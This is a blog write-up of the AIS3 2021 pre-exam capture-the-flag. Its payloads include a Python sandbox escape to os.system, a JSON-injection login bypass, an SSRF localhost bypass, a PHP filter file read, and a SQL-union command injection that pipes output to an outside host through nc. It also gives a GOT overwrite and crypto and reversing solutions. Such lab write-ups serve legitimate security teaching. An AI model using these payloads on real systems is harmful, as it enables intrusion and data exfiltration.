[心得] AIS3 2021 Pre-exam WriteUp
[TOC]
# 成績
![Score](https://img.stoneapp.tech/t510599/ais3-2021/pre-exam/Score.jpeg)
看[完整 Profile](https://img.stoneapp.tech/t510599/ais3-2021/pre-exam/Profile.jpeg)
很長的[ScoreBoard](https://img.stoneapp.tech/t510599/ais3-2021/pre-exam/Scoreboard.jpeg)
# 前言
這次跟[上次](https://stoneapp.tech/cavern/post.php?pid=802)一樣是第 10 名
倒是莫名拿到兩個首殺: [Cat Slayer ᶠᵃᵏᵉ | Nekogoroshi](#Cat%20Slayer%20ᶠᵃᵏᵉ%20|%20Nekogoroshi) 跟 [[震撼彈] AIS3 官網疑遭駭!](#[震撼彈]%20AIS3%20官網疑遭駭!)
![](https://i.imgur.com/g7ENH14.png)
![](https://i.imgur.com/ZHGVxQE.png)
另外 @a91082900 大佬躍進到第 7 名 太強了跟不上 m(_ _)m
# 官解
https://hackmd.io/@splitline/SJBFVSzqO
# AIS3 pre-exam 2021 Writeup
## MISC
### Cat Slayer ᶠᵃᵏᵉ | Nekogoroshi
不要懷疑 工人智慧
password: 2025830455298
flag: `AIS3{H1n4m1z4w4_Sh0k0gun}`
### Blind
在 22 行執行了 `close(1);` 把 stdout 關掉了
透過 `sys_dup2` 把 stderr copy 到 stdout 這樣他就能透過 stderr 輸出了
p.s. linux man page 的說明
> `int dup2(int oldfd, int newfd);`
The dup2() system call creates a copy of the file descriptor oldfd, using the file descriptor number specified in newfd.
查看 [syscall table](https://syscalls64.paolostivanin.com/)
![](https://i.imgur.com/pTlV0ll.png)
payload: `33 2 1 0`
flag: `AIS3{dupppppqqqqqub}`
### [震撼彈] AIS3 官網疑遭駭!
`Protocol Hierarchy` 觀察內容
![](https://i.imgur.com/yidqQO2.png)
發現都是 DNS 跟 HTTP
透過 `File > Export Objects > HTTP` 查看 HTTP request
發現一段看起來是 base64 的參數 以及一個很特別的 request 其參數是反過來的
![](https://i.imgur.com/lblE9CE.png)
看該 Request 內容 看起來像個 shell
![](https://i.imgur.com/qwZ1S8J.png)
推測有個 VirtualHost 手動更改 DNS or 改 `Host` header
`/etc/hosts`
```
10.153.11.126 magic.ais3.org
```
實測可以看到內容
![](https://i.imgur.com/TbR7xBd.png)
下指令 `echo "<command>"" | base64 | rev`
![](https://i.imgur.com/c4iUFxv.png)
flag: `AIS3{0h!Why_do_U_kn0w_this_sh3ll1!1l!}`
### Microcheese
這題原本是 Crypto 後來被修正了
![](https://i.imgur.com/6rwe6U1.png)
拿來 diff 一下 很容易可以看出
如果選項不是 0, 1, 2 你就可以跳過回合
然後 AI 會繼續拿
![](https://i.imgur.com/vTJJyKy.png)
等到剩最後一顆 快樂直接拿走
flag: `AIS3{5._e3_b5_6._a4_Bb4_7._Bd2_a5_8._axb5_Bxc3}`
### Cat Slayer Online Edition
透過 `getattr` 取代 `.` 並且用 `input()` 將要存取的屬性值傳入
這樣就只需要 `['(', ')', 'a', 'e', 'g', 'i', 'n', 'p', 'r', 't', 'u']` 11 十一個字元
由於限時 10 秒 寫隻腳本快速生 payload
```python
import re
import string
tmpl = "getattr(<?>,input())"
payload = "().__class__.__base__.__subclasses__"
payload2 = "<1>()[132].__init__.__globals__"
run = "<2>['system']('command')"
data = payload.split(".")
def generate_template(payloads, result=""):
if len(payloads) > 1:
return tmpl.replace("<?>", generate_template(payloads[:-1]))
else:
return payloads[0]
template = generate_template(data)
data2 = payload2.replace("<1>", template).split(".")
template = generate_template(data2)
final = run.replace("<2>", template)
params = []
for p in re.findall(r"'(\w+)'", final):
params.append(p)
final = final.replace(f"'{p}'", "input()")
# gen needed
print(needed := sorted(set(curse := string.ascii_lowercase + string.digits + "()'\".").intersection(set(final))))
print(*map(lambda x: curse.index(x), needed))
print(len(needed), "\n")
# gen template
print(final, *data[1:], *data2[1:], *params, sep="\n")
print(len(final))
```
先透過 `().__class__.__base__.__subclasses__()` 取得 subclasses 清單
然後使用 `<class 'os._wrap_close'>` 來取得 `system()`
它在 `__subclasses__[132]` 的地方 -> 增加 `['1'. '2', '3']` 3 個字元
預計使用以下指令來 RCE
```python
().__class__.__base__.__subclasses__()[132].__init__.__global__['system']('<command>')
```
總共需要 14 個字元 payload 長度 112
![](https://i.imgur.com/KKzGVmw.png)
公式計算完 需要 lv.6 (`6 * int(2/math.log10(max(2, 14-10))*6) = 114`)
<!-- ![screenshot](https://i.imgur.com/NYKXsVb.png) -->
![](https://i.imgur.com/uP6C8Qw.png)
flag: `AIS3{CAO_Cat_Art_Online}`
## WEB
### yet another login page
```python=34
def login():
data = '{"showflag": false, "username": "%s", "password": "%s"}' % (
request.form["username"], request.form['password']
)
session['user_data'] = data
return redirect("/")
```
可以透過引號隨意寫 json
利用以下特性:
1. 重複 key 以後者值為主
2. `null` 會被 `json.loads` 解析為 `None`
且 `dict.get()` 若在取得不存在的 key 時預設回傳 `None`
透過 `None == None` 即可通過
```python=17
def valid_user(user):
return users_db.get(user['username']) == user['password']
```
payload:
- username: any (except of `guest`, `admin`)
- password: `", "password": null, "showflag":true, "s":"`
flag: `AIS3{/r/badUIbattles?!?!}`
### HaaS
```html
<form action='/haas' method='POST'>
<label>url</label>
<input name='url' value='https://httpstat.us/500'>
<input name='status' hidden value='200'>
<input type=submit> </input>
</form>
```
測試 `localhost` 時會回傳 `Don't attack server`
且在 response status code 不符合時會將其內容印出
使用其他與 `locahost` 同義的方式存取 ([Ref](https://github.com/w181496/Web-CTF-Cheatsheet#bypass-127001))
payload:
- url: `http://0x7f000001/`
- status code: other than `200`
flag: `AIS3{V3rY_v3rY_V3ry_345Y_55rF}`
### 【5/22 重要公告】
觀察參數 `/?module=modules/api` 以及 `/moduels/api.php` 存在
猜測其使用 `include($_GET['module']. ".php");` 引入
透過 `php://filter` 做 LFI:
`/?module=php://filter/read=convert.base64-encode/resource=modules/api`
取得原始碼
`modules/api.php`
```php=5
$db = new SQLite3(SQLITE_DB_PATH);
if (isset($_GET['id'])) {
$data = $db->querySingle("SELECT name, host, port FROM challenges WHERE id=${_GET['id']}", true);
$host = str_replace(' ', '', $data['host']);
$port = (int) $data['port'];
$data['alive'] = strstr(shell_exec("timeout 1 nc -vz '$host' $port 2>&1"), "succeeded") !== FALSE;
echo json_encode($data);
} else {
```
透過 union select 來 command injection
而 host 中的空格都會被刪除 另外 port 只能數字
bash 中可以透過 `${IFS}` 來代替空格的功能 (分隔參數)
payload:
```
&id=<non-exist id> union select 'test',"';<command>|nc${IFS}'<ip>",'<port>'
```
![](https://i.imgur.com/xf3gEbj.png)
flag: `AIS3{o1d_skew1_w3b_tr1cks_co11ect10n_:D}`
## CRYPTO
### ReSident evil villAge
`b'Ethan Winters'` 轉成 int 變成
$$5502769663009776377079720669811 = 163 * 33759323085949548325642458097$$
$$(a*b)^d \pmod n = a^d \pmod n * b^d \pmod n$$
送出 `a3` 與 `6d150ebb92427fdc8e1053f1`
並將結果相乘模 n 再送出驗證
flag: `AIS3{R3M383R_70_HAsh_7h3_M3Ssa93_83F0r3_S19N1N9}`
### Microchip
其實是一個偽裝成 c++ 的 python 把它寫回 python
```python
def track(name, id):
if len(name) % 4 == 0:
padded = name + "4444"
elif len(name) % 4 == 1:
padded = name + "333"
elif len(name) % 4 == 2:
padded = name + "22"
elif len(name) % 4 == 3:
padded = name + "1"
keys = list()
temp = id
for i in range(4) :
keys.append(temp % 96)
temp = int(temp / 96)
result = ""
for i in range(0, len(padded), 4) :
nums = list()
for j in range(4) :
num = ord(padded[i + j]) - 32
num = (num + keys[j]) % 96
nums.append(num + 32)
result += chr(nums[3])
result += chr(nums[2])
result += chr(nums[1])
result += chr(nums[0])
return result
name = open("flag.txt", "r").read().strip()
id = int(input("key = "))
print("result is:", track(flag, key))
```
把字串分成四個一組 根據 key 做位移 並把密文反過來
透過已知明文(前四個字元)跟密文找 key
```python
keys = []
secret, flag = "=Js&", "AIS3"
for c, p in zip(secret[::-1], flag):
keys.append(((ord(c) - 32) - ord(p) + 32) % 96)
num = ((ord("{") - 32) + keys[0]) % 96 + 32
assert num == ord("`")
print(keys)
```
解密
```python
from string import ascii_letters, digits, punctuation
keys = [69, 42, 87, 10]
encoded = "=Js&;*A`odZHi'>D=Js&#i-DYf>Uy'yuyfyu<)Gu"
flag = ""
for i in range(0, len(encoded), 4):
sector = encoded[i:i+4][::-1]
for i, c in enumerate(sector):
p = chr((ord(c) - keys[i]) % 96)
while p not in ascii_letters + digits + punctuation:
p = chr(ord(p) + 96)
flag += p
print(flag[:-int(flag[-1])]) # remove padding
```
flag: `AIS3{w31c0me_t0_AIS3_cryptoO0O0o0Ooo0}`
### Republic of South Africa
給你 RSA 的 n, e, c
程式碼中使用物理碰撞公式去生成 p, q
先用小數字去生成 觀察 count
![](https://i.imgur.com/Rj81HPW.png)
這看起來很像圓周率
因此猜測 count 是圓周率的前 153 個數字
又 $$p+q = count$$
且 $$p*q = n$$
兩條式子可以解兩個未知數
使用 z3 解聯立方程式
```python
from z3 import *
count = #...
n = #...
s = Solver()
p, q = Ints('p, q')
s.add(p * q == n)
s.add(p + q == count)
s.check()
s.model()
```
```
p = 125271761150262906416707263718886403684050582091051005263078715902829301737825885945876611987225959401224076260783558207667345619556059984778330517466451
q = 188887504208716417429557074609063884735666357846459576834415743327952338890795013916926870546985747396990732390544672457042038841398998238394205423346397
```
flag: `AIS3{https://www.youtube.com/watch?v=jsYwFizhncE}`
## REVERSE
### COLORS
原始碼有三部分
1. 陣列調換
2. 文字編碼
3. 輸入 handler
關於位置調換後的陣列 由瀏覽器可以直接取得轉換後的結果 因此不須逆
![](https://i.imgur.com/h952ZiU.png)
把陣列值全部填回程式碼後 得到 handler
```javascript
document['addEventListener']("keydown", ev => {
const get3 = get2;
if (ev['key'] === 'BackSpace' && counter == 0xa) _0x1e21d9['textContent'] = _0x1e21d9['textContent']['substr'](0x0, _0x1e21d9['textContent']['length'] - 0x1);
else {
if (ev['key'] === 'ArrowUp' && !(counter >> 0x1)) return counter += 0x1;
else {
if (ev['key'] === 'ArrowDown' && !(counter >> 0x2)) return counter += 0x1;
else {
if (ev['key'] === 'ArrowLeft' && (counter == 0x4 || counter == 0x6)) return counter += 0x1;
else {
if (ev['key'] === 'ArrowRight' && (counter == 0x5 || counter == 0x7)) return counter += 0x1;
else {
if (ev['key'] === 'b' && counter == 0x8) return counter += 0x1;
else {
if (ev['key'] === 'a' && counter == 0x9) return document['getElementsByTagName']('body')[0x0]['innerHTML'] += atob(_0x54579e), _0x1e21d9 = document['getElementById']('input'), _0x1e21d9['innerHTML'] = '', document['getElementById']('output')['innerHTML'] = atob(_0x78ed5a)['match'](/(.{1,3})/g)['map'](_0x5efa9e => composeElement(_0x5efa9e[0x0], _0x5efa9e[0x1], _0x5efa9e[0x2]))['join'](''), counter += 0x1;
else {
if (ev['key']['length'] == 0x1 && counter == 0xa) _0x1e21d9['textContent'] += String['fromCharCode'](ev['key']['charCodeAt']());
else return;
}
}
}
}
}
}
}
func(_0x1e21d9['textContent']);
});
```
看起來一臉 Konami 密技: `上上下下左右左右BA` 開啟另個模式
![](https://i.imgur.com/4YeblXx.png)
得到了一串編碼過的文字
細部逆完文字編碼器後
```javascript=
const sizee = 0xa;
const dFLAG = "AlS3{BasE64_i5+b0rNIng~\\Qwo/-xH8WzCj7vFD2eyVktqOL1GhKYufmZdJpX9}";
function textProcessor(text) {
if (!text.length) return '';
let bytes = '',
output = '',
len = 0x0;
// to bits
for (let index = 0x0; index < text.length; index++)
bytes += text.charCodeAt(index).toString(2).padStart(8, '0');
len = bytes.length % sizee / 2 - 1;
// if not empty, padEnd
if (len != -0x1)
bytes += '0'.repeat(sizee - bytes.length % sizee);
// take each 10 bits as one byte
matchBytes = bytes.match(/(.{1,10})/g);
for (let byte of matchBytes) {
// | reverse: 1 | color: 3 | char: 6 |
let n = parseInt(byte, 0x2);
output += composeElement(n >> 0x6 & 0b111, n >> 0x9, dFLAG[n & 0b111111]);
}
for (; len > 0x0; len--) {
output += composeElement(len % 8, 0x0, '=');
}
return output;
}
```
發現其將文字先轉為二進位 再以每 10 bit 一組做轉換
將 10 bit 分成 3 段做不同用途: `| reverse: 1 bit | color: 3 bits | char: 6 bits |`
透過觀察字是否相反以及其顏色 可以推回原始字串
使用以下片段取得資料
```javascript=
Array.from(document.querySelector("#output").querySelectorAll("div")).map(el => Array.from(el.classList).join(" ") + " " + el.textContent );
```
最後寫個解碼器
```python=
dFLAG = "AlS3{BasE64_i5+b0rNIng~\\Qwo/-xH8WzCj7vFD2eyVktqOL1GhKYufmZdJpX9}"
data = ["c4 r0 B","c2 r0 g","c3 r0 i","c5 r1 J","c6 r0 6","c0 r1 \\","c3 r0 w","c4 r0 1","c3 r0 A","c4 r1 j","c4 r0 \\","c4 r1 1","c3 r0 g","c7 r0 u","c3 r0 i","c1 r0 k","c3 r0 l","c4 r0 7","c6 r0 x","c5 r0 i","c5 r0 X","c1 r0 K","c1 r0 I","c4 r0 h","c5 r0 X","c0 r0 K","c4 r1 i","c5 r1 l","c7 r0 6","c7 r0 f","c4 r0 o","c1 r0 6","c5 r0 5","c7 r0 K","c1 r1 n","c5 r1 8","c7 r0 7","c4 r1 B","c5 r0 -","c1 r1 8","c4 r0 w","c3 r1 a","c1 r0 r","c4 r1 z","c7 r0 K","c3 r0 =","c2 r0 =","c1 r0 ="]
flag = ""
for c in data:
color, reverse, char = c.split()
color, reverse = int(color[1]), int(reverse[1])
if (char != "="):
index = dFLAG.index(char)
char_bits = f"{index:06b}"
the_byte_str = f"{reverse:b}{color:03b}{char_bits[-6:]}"
flag += the_byte_str
flag = flag.rstrip("0") # too lazy to unpad correctly. it just works!
print(flag)
long = int(flag, 2)
print(h := f"{long:x}")
print(bytearray.fromhex(h).decode())
```
flag: `AIS3{base1024_15_c0l0RFuL_GAM3_CL3Ar_thIS_IS_y0Ur_FlaG!}`
### Piano
.dll 是 .Net 平台的 因此可以很輕易的透過 dotPeek 反編譯
![](https://i.imgur.com/seJHVP1.png)
兩個 list 為前後音符 index 的和與積
基本上是 2020 pre-exam La vie en rose 的考古
解個聯立
```python=
# sum, diff
def solve(s, d):
return (s + d) // 2, (s - d) // 2
notes = ['C', 'D', 'E', 'F', 'G', 'A', 'B', 'CSharp', 'DSharp', 'FSharp', 'GSharp', 'ASharp']
list1 = [14, 17, 20, 21, 22, 21, 19, 18, 12, 6, 11, 16, 15, 14]
list2 = [0, -3, 0, -1, 0, 1, 1, 0, 6, 0, -5, 0, 1, 0]
btns = []
for s, d in zip(list1, list2):
a, _ = solve(s, d)
btns.append(a)
print(*map(notes.__getitem__, btns))
```
印出鍵位 `CSharp CSharp GSharp GSharp ASharp ASharp GSharp FSharp FSharp F F DSharp DSharp CSharp`
然後彈一段小星星
flag: `AIS3{7wink1e_tw1nkl3_l1ttl3_574r_1n_C_5h4rp}`
### Peekora
使用 `python -m pickletools --annotate flag_checker.pkl`
可以生成有註解的 pickle 程式碼 在註解中有解釋 OpCode 的作用 (或是直接看 [CPython 原始碼](https://github.com/python/cpython/blob/3.9/Lib/pickletools.py))
```=
0: c GLOBAL '__builtin__ input' Push a global object (module.attr) on the stack.
19: ( MARK Push markobject onto the stack.
20: S STRING 'FLAG: ' Push a Python string object.
30: t TUPLE (MARK at 19) Build a tuple out of the topmost stack slice, after markobject.
31: R REDUCE Push an object built from a callable and an argument tuple.
32: p PUT 0 Store the stack top into the memo. The stack is not popped.
35: 0 POP Discard the top stack item, shrinking the stack by one item.
36: c GLOBAL '__builtin__ getattr' Push a global object (module.attr) on the stack.
57: p PUT 1 Store the stack top into the memo. The stack is not popped.
60: 0 POP Discard the top stack item, shrinking the stack by one item.
61: g GET 1 Read an object from the memo and push it on the stack.
64: ( MARK Push markobject onto the stack.
65: ( MARK Push markobject onto the stack.
66: c GLOBAL '__builtin__ exit' Push a global object (module.attr) on the stack.
84: c GLOBAL '__builtin__ str' Push a global object (module.attr) on the stack.
101: l LIST (MARK at 65) Build a list out of the topmost stack slice, after markobject.
102: S STRING '__getitem__' Push a Python string object.
117: t TUPLE (MARK at 64) Build a tuple out of the topmost stack slice, after markobject.
118: R REDUCE Push an object built from a callable and an argument tuple.
119: p PUT 2 Store the stack top into the memo. The stack is not popped.
122: 0 POP
// ...
```
透過簡易圖示說明 TUPLE 與 REDUCE 的作用
![](https://i.imgur.com/4LGuJUh.png)
![](https://i.imgur.com/AGPpbqI.png)
因此上方的程式碼最後在 memo 中產生三個物件:
```
[0] 使用者輸入
[1] __builtin__ getattr
[2] [__builtin__ exit, __builtin__ str] 的存取函數 輸入為 index
```
```
205: g GET 2
208: ( MARK
209: g GET 1
212: ( MARK
213: g GET 1
216: ( MARK
217: g GET 0
220: S STRING '__getitem__'
235: t TUPLE (MARK at 216)
236: R REDUCE
237: ( MARK
238: I INT 6 # index
241: t TUPLE (MARK at 237)
242: R REDUCE
243: S STRING '__eq__'
253: t TUPLE (MARK at 212)
254: R REDUCE
255: ( MARK
256: V UNICODE 'A' # char
259: t TUPLE (MARK at 255)
260: R REDUCE
261: t TUPLE (MARK at 208)
262: R REDUCE
263: ( MARK
264: t TUPLE (MARK at 263)
265: R REDUCE
```
每一段這樣的程式碼能判斷一個字元
透過類似 `[exit, str][user_input[6] == 'A']()` 的方式來模擬 if
而其中出現了並非直接寫明的字元
```
455: ( MARK
456: I INT 14
460: t TUPLE (MARK at 455)
461: R REDUCE
462: S STRING '__eq__'
472: t TUPLE (MARK at 430)
473: R REDUCE
474: ( MARK
475: g GET 3
478: t TUPLE (MARK at 474)
479: R REDUCE
```
我們可以得到 flag 為 `AIS3{dAmwjzph<memo[4]><memo[3]>}`
另外注意到
```
327: g GET 1
330: ( MARK
331: g GET 0
334: S STRING '__getitem__'
349: t TUPLE (MARK at 330)
350: R REDUCE
351: ( MARK
352: I INT 9 # index
355: t TUPLE (MARK at 351)
356: R REDUCE
357: p PUT 3
```
以上程式碼會從使用者輸入中拿出在 index 位置的字元放入 memo 中
使 memo 增加一項 (以上為 `memo[3] = user_input[9]`)
且其 index 都在之前判斷過了 因此可以確認內容
最終 memo 變成
```
[0] 使用者輸入
[1] __builtin__ getattr
[2] [exit, str][]
[3] 'j'
[4] 'I'
```
p.s. 為了這題最後自己生了一個網頁版 stack 就不用擦擦寫寫了 yay
p.s.2 https://app.stoneapp.tech/stack/ 上線啦!
flag: `AIS3{dAmwjzphIj}`
## PWN
### Write Me
透過 gdb 查看原始的位置
![](https://i.imgur.com/vyUmou4.png)
把被寫掉的 system 位置寫回去
addr: `4210728 (0x404028)`
value: `4198480 (0x401050)`
flag: `AIS3{Y0u_know_h0w_1@2y_b1nd1ng_w@rking}`
2021-05-31 20:40:03
留言
Last fetch: --:--
現在還沒有留言!